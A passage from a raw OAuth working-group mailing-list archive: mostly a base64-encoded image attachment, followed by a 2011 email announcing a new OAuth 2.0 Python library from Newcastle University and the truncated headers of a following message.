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 --_005_90C41DD21FB7C64BB94121FBBC2E72345021F37840P3PW5EX1MB01E_-- From maciej.machulak@gmail.com Sat Jul 23 11:34:51 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 721FA21F8AE4 for ; Sat, 23 Jul 2011 11:34:51 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.599 X-Spam-Level: X-Spam-Status: No, score=-3.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id eAlUCgIawtz7 for ; Sat, 23 Jul 2011 11:34:50 -0700 (PDT) Received: from mail-fx0-f54.google.com (mail-fx0-f54.google.com [209.85.161.54]) by ietfa.amsl.com (Postfix) with ESMTP id 8D70921F86B1 for ; Sat, 23 Jul 2011 11:34:50 -0700 (PDT) Received: by fxe4 with SMTP id 4so7927037fxe.27 for ; Sat, 23 Jul 2011 11:34:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:cc:content-type; bh=9gzPTumWyNuDL3YvUJ2wA8+2kYdFo+nD2UelK+ng6ek=; b=nlfGOgScOdI9kzS7pzwVgQ4c/XGPbTuImbHzKA0BYu+j9hHxoyZGlAiXOJD1rflVLa JzZsR5q6Vca9nzZgXLpLh4xCt7ocww67uOxtz8VfEl+//nubgenXjjLm0iTqbiN4NYHC 9nPuAYOZ0L6uM9hMr1MrdQP5Kd2wMdhf7VWM4= MIME-Version: 1.0 Received: by 10.223.69.65 with SMTP id y1mr4113619fai.60.1311446089024; Sat, 23 Jul 2011 11:34:49 -0700 (PDT) Received: by 10.223.39.196 with HTTP; Sat, 23 Jul 2011 11:34:49 -0700 (PDT) Date: Sat, 23 Jul 2011 19:34:49 +0100 Message-ID: From: Maciej Machulak To: OAuth WG Content-Type: text/plain; charset=UTF-8 Subject: [OAUTH-WG] OAuth 2.0 Python Implementation X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 23 Jul 2011 18:34:51 -0000 Hi, For those interested, there's a new OAuth 2.0 implementation in Python available at: https://bitbucket.org/smartproject/oauth2python Documentation for this library is available at: https://bitbucket.org/smartproject/oauth2python/wiki/Home The library has been developed entirely by Jacek Szpot (with a little help from the SMART team) who joined us recently at Newcastle University. Cheers, Maciej -- Maciej Machulak email: maciej.machulak@gmail.com tel: +44 7999 606 767 From eran@hueniverse.com Sun Jul 24 00:46:37 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6C44721F857E for ; Sun, 24 Jul 2011 00:46:37 -0700 (PDT) X-Virus-Scanned: amavisd-new 